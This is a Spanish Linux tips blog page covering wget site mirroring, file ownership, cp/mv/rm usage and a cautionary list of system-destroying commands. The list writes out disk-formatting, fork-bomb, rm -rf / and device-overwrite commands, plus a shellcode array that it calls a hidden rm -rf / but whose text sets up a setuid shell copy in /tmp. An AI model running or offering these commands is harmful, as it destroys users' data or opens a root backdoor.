Mostrando entradas con la etiqueta comandos. Mostrar todas las entradas
Mostrando entradas con la etiqueta comandos. Mostrar todas las entradas
TOP

Descargar páginas web completas por comando en linux con wget

A veces puede ser necesario o resultar más cómodo descargar una página web completamente por el motivo que fuere, incluso para aprender a ver el contenido y estructura de algunas páginas web. También es útil para navegar sobre la misma en futuras situaciones sin acceso a internet: para llevar la web a una asamblea, reunión, charla...

Para linux hay un simple comando con el que podemos hacer esto: "wget"
La forma simple de usarlo para descargar solo del dominio actual es la siguiente:
# wget -r "páginaweb"

Ejemplo:
# wget -r www.paginaparadescargar.com

Con este comando te descargarás desde imágenes, javascript (js), hojas de estilo (css)....
Pero no lo descargarás todo ni en todas las ocasiones realiza al completo lo que necesitamos. Para adaptarte a la situación  lee más abajo.

Vídeo de Ejemplo:


También hay otra forma más completa que nos creará aparte un log con todo lo que ha realizado en un archivo de texto y descargará toda la web para que sea accesible desde un dispositivo sin conexión a internet.

Esto es de la siguiente forma reemplazando el texto entre comillas por nuestra ruta donde guardaremos y la página web fuente:

wget -P "carpeta_destino" -E -H -k -K -p -o log "http://www.paginaweb.es/index.html"


A continuación os explicaré como funcionan las opciones más comunes de wget:

-P   --> Directorio donde se descargará toda la página
-E   --> Todos los ficheros se guardarán con la extensión html (a veces hay algunos que se presentan asi: xhtml+xml)
-H   --> Así wget se puede descargar contenidos de dominios distintos de indicado por la url
-K   --> Mantiene un backup del fichero original en el caso que se haya modificado para ser accesible en modo offline
-p   --> Descarga todos los ficheros necesarios para visualizar la web
-o   --> Fichero donde se guardarán todos los mensajes de lo que ha ocurrido (LOG)
-e   --> No hace caso del archivo robots.txt (Así se descarga todo lo accesible)
--random-wait   --> Tiempo entre descargas aleatorio, por si nos limita el servidor
-U   --> Hacer creer que somos un navegador web (así evitamos problemas)

OTROS EJEMPLOS:
Descargar todo completo con LOG e ignorando robots.txt
# wget -e robots=off -E -H -k -K -p -o log "www.pagina.es"

Descargar todo y además hacer creer que somos un navegador y tiempo de espera entre descarga de archivos aleatorio (esto en algunos servidores es necesarios)
# wget --random-wait -e robots=off -E -H -U mozilla -k -K -p -o log "www.pagina.es"

Descarga simple pero muy eficaz:
# wget -r -p www.paginaparadescargar.com

El comando que más me ha funcionado para descargar toda una web y las dependientes de esta es el siguiente:

# wget --random-wait -e robots=off -E -H -U mozilla -k -K -p -r -l 2 -o log "www.paginaweb.es"


TOP

Cambiar propietario y grupo de archivos, directorios y subdirectorios

Normalmente esto no es necesario realizarlo porque es gestionado automáticamente por el sistema con buenos resultados y no suele dar problemas, pero como siempre existen excepciones o casos particulares por cualquier razón que se necesita modificar manualmente.

El proceso es muy simple, consta de navegar hacia el directorio y ejecutar un comando sobre el archivo o directorio que deseamos modificar.

CAMBIAR PROPIETARIO
Cambiar propietario archivos y directorios
 Cambiar propietario de un archivo o directorio:
# sudo chown <usuario> (archivo o carpeta)

Cambiar de propietario todo un conjunto de subdirectorio:
# sudo chown <usuario> -R <carpeta>

   CAMBIAR GRUPO
Cambiar grupo archivos y directorios
 Cambiar grupo para un archivo o directorio:
# sudo chgrp <grupo> <carpeta> (archivo o carpeta)

Cambiar grupo para un conjunto de subdirectorios:
# sudo chgrp <grupo> -R <carpeta> (carpeta y todo su contenido)


 VÍDEOS RESUMEN

 Cambiar propietario de un archivo o directorio:

 

 Cambiar grupo para un archivo o directorio:


TOP

Mover, copiar y renombrar archivos y directorios por comandos en Linux/GNU o Unix

Estos comandos son para personas que tienen una cierta base y se da por supuesto que tienen conocimientos de directorios y estructura en unix o Linux/GNU.

Vamos a tomar las siguientes pautas comunes para los ejemplos:
Estamos en:  /home/usuario/
El archivo para todos los ejemplos se llamará:          archivo.txt
El directorio para todos los ejemplos se llamará:      directorio


COPIAR
1 - Se utiliza el comando "cp" 
("man cp" para ver manual con lista completa de opciones)

2 - Para copiar un archivo
Simplemente escribimos "cp" seguido del archivo fuente, luego un espacio y destino.

EJEMPLOS:

cp <Fuente> <Destino>
cp archivo.txt directorio
cp archivo.txt /home/usuario/directorio

3 - Principales opciones
-i --interactivo. Nos pide confirmación archivo por archivo, normalmente cuando va a sobrescribir. Es útil para prevenir errores.
-r --recursivo. Copia todo el árbol de directorios incluidos subdirectorios.
-v --verboso. Muestra en el terminal todo lo que ocurre.

EJEMPLOS:
cp -i archivo.txt directorio
(Respuesta del terminal) cp: overwrite 'directorio/archivo.txt'?

Nos pregunta si queremos sobrescribir el archivo que intentamos copiar porque ya existe.
Solo tenemos que pulsar "Y" seguidamente "Enter" para confirmar.
En caso de que no estemos de acuerdo pulsamos "N" seguido de "Enter"


MOVER
1 - Se utiliza el comando "mv" 
("man mv" para ver manual con lista completa de opciones)

2 - Para mover un archivo
Este comando mueve físicamente un archivo a otro lugar, es similar a "cp" su estructura.

EJEMPLOS:
mv <Fuente> <Destino>
mv archivo.txt directorio
mv archivo.txt /home/usuario/directorio

3 - Principales opciones
-i --interactivo. Nos pide confirmación archivo por archivo, normalmente cuando va a sobrescribir. Es útil para prevenir errores.
-f --forzar. Mueve forzosamente sin preguntar nada. Cuidado al utilizarlo.
-v --verboso. Muestra en el terminal todo lo que ocurre.

EJEMPLOS:
mv -i archivo.txt directorio
mv -f archivo.txt directorio
mv -fv archivo.txt /home/usuario/directorio

Al igual que con el comando "cp" también se puede combinar con varias opciones.


RENOMBRAR
1 - Renombrar al mover o copiar

EJEMPLO DE COPIAR "archivo.txt" con el nombre de "modificado.txt"
cp archivo.txt /home/usuario/modificado.txt

EJEMPLO DE MOVER "archivo.txt" con el nombre de "modificado.txt"
mv archivo.txt /home/usuario/modificado.txt

2 - Renombrar en el mismo directorio
Mover en el mismo directorio del archivo de origen, es decir, mover al mismo directorio en el que ya está pero con otro nombre.

EJEMPLO de renombrar "archivo.txt" con el nombre de "modificado.txt"

mv archivo.txt modificado.txt

3 - Copiar en el mismo directorio con otro nombre
Basta con el comando "cp" en el mismo directorio.

EJEMPLO "archivo.txt" con el nombre de "modificado.txt"

cp archivo.txt modificado.txt


BORRAR
1 - Se utiliza el comando "rm"
("man rm" para ver manual con lista completa de opciones)

2 - Borrar archivo
Para borrar un archivo es tan simple como usar el comando "rm" seguido de lo que vayas a borrar

EJEMPLOS:

rm archivo.txt
rm /home/usuario/archivo.txt

3 - Borrar directorio
Se utiliza igual que para borrar un archivo,
EJEMPLO:

rm directorio "rm" seguido de lo que vayas a borrar
rm /home/usuario/directorio

4 - Principales opciones
-i --interactivo. Nos pide confirmación archivo por archivo. Es útil para prevenir errores.
-f --forzar. Borra forzosamente sin preguntar nada. Cuidado al utilizarlo.
-v --verboso. Muestra en el terminal todo lo que ocurre.
-r --recursivo. Elimina directorios, archivos y subdirectorios. También permite borrar los directorios vacíos.

EJEMPLOS:

rm -r directorio
rm -r /home/usuario/directorio
rm -rf directorio

"OJO" CUIDADO DE NO BORRAR TODO EL SISTEMA
Si usais "rm -rf /" Se borrará todo el sistema entero
TOP

7 Comandos que pueden estropear tu Sistema Operativo GNU/Linux



Hay una serie de comandos con los que puedes dejar tu Sistema para el arrastre, la mayoría son muy complicado que lo hagas sin querer o de casualidad pero conviene saberlos para tener en cuenta por si nos engañasen en alguna guía o tutorial de los que circulan por internet (tampoco creo que haya gente tan h...... de p.....)

He clasificado los que se pueden entender como mortales en 7 puntos:


1 - Este comando formatea la partición que se menciona después de mkfs.
  • mkfs.ext3 /dev/sda


2 - A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos. 
  • :(){:|:&};:


3 - Este descarga paquetes de alguna fuente no confiable y la ejecuta, debes tener mucho cuidado ya que puede ser código malicioso y te automutilas. Recomiendo bajar el script y echar un ojo primero.



4 - Este comando provoca perdida total de datos, en la partición que se menciona en el comando. Normalmente en los disco duros Sata es la primera partición y donde está instalado el sistema así que tratadlo con cuidado.
  • cualquier_comando > /dev/sda



5 - Este comando mueve todo el contenido de tu carpeta Home (usuario) a un directorio que no existe, esto significa que será borrado y ya nunca volverás a ver tus archivos.

  • mv /home/tu-carpeta-home/* /dev/null



6 - Este comando borrará de manera recursiva y en bruto todos los archivos en el directorio raíz, es decir, borrará todo el sistema operativo.
  • rm -rf /



7 - Esta es la versión hexadecimal del comando rm-rf / que puede engañar hasta a los usuarios expertos de Linux.
  • char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
TOP

Comandos indispensables para linux


Listado con los comandos fundamentales para GNU/Linux explicados individualmente.




En total son más de 400 comandos ordenados por categorías que podrían ser un excelente recurso en muchas ocasiones.






Aqui debajo os dejo una tabla con el índice ordenado por categorías. Más abajo el enlace para descargar o ver en la web.




  • Información del sistema
  • Apagar, reiniciar o cerrar sesión
  • Gestionar archivos y directorios
  • Encontrar archivos
  • Montando un sistema de ficheros
  • Espacio en disco
  • Usuarios y grupos
  • Permisos en ficheros (usar "+" para colocar permisos y "-" para eliminar)
  • Atributos especiales en ficheros (usar "+" para colocar permisos y "-" para eliminar)
  • Archivos y ficheros comprimidos
  • Paquetes rpm (Red Hat, Fedora y similares)
  • Actualizador de paquetes yum (Fedora, Redhat y otros)
  • Paquetes deb (Debian, Ubuntu y otros)
  • Actualizador de paquetes apt (Debian, Ubuntu y otros)
  • Ver el contenido de un fichero
  • Manipulación de texto
  • Establecer caracter y conversión de ficheros
  • Análisis del sistema de ficheros
  • Formatear un sistema de ficheros
  • Partición de sistema swap
  • Salvas
  • CDROM
  • Trabajo con la red (LAN Y WIFI)
  • Redes de Microsoft Windows (Samba)
  • Cortafuegos (iptables)
  • Monitoreando y depurando
  • Otros comandos útiles
Enlace de descarga para descargar los comandos en un archivo odt: http://gutl.jovenclub.cu/wiki/comandos/inicio?do=export_odt


Fuente: http://gutl.jovenclub.cu/wiki/comandos/inicio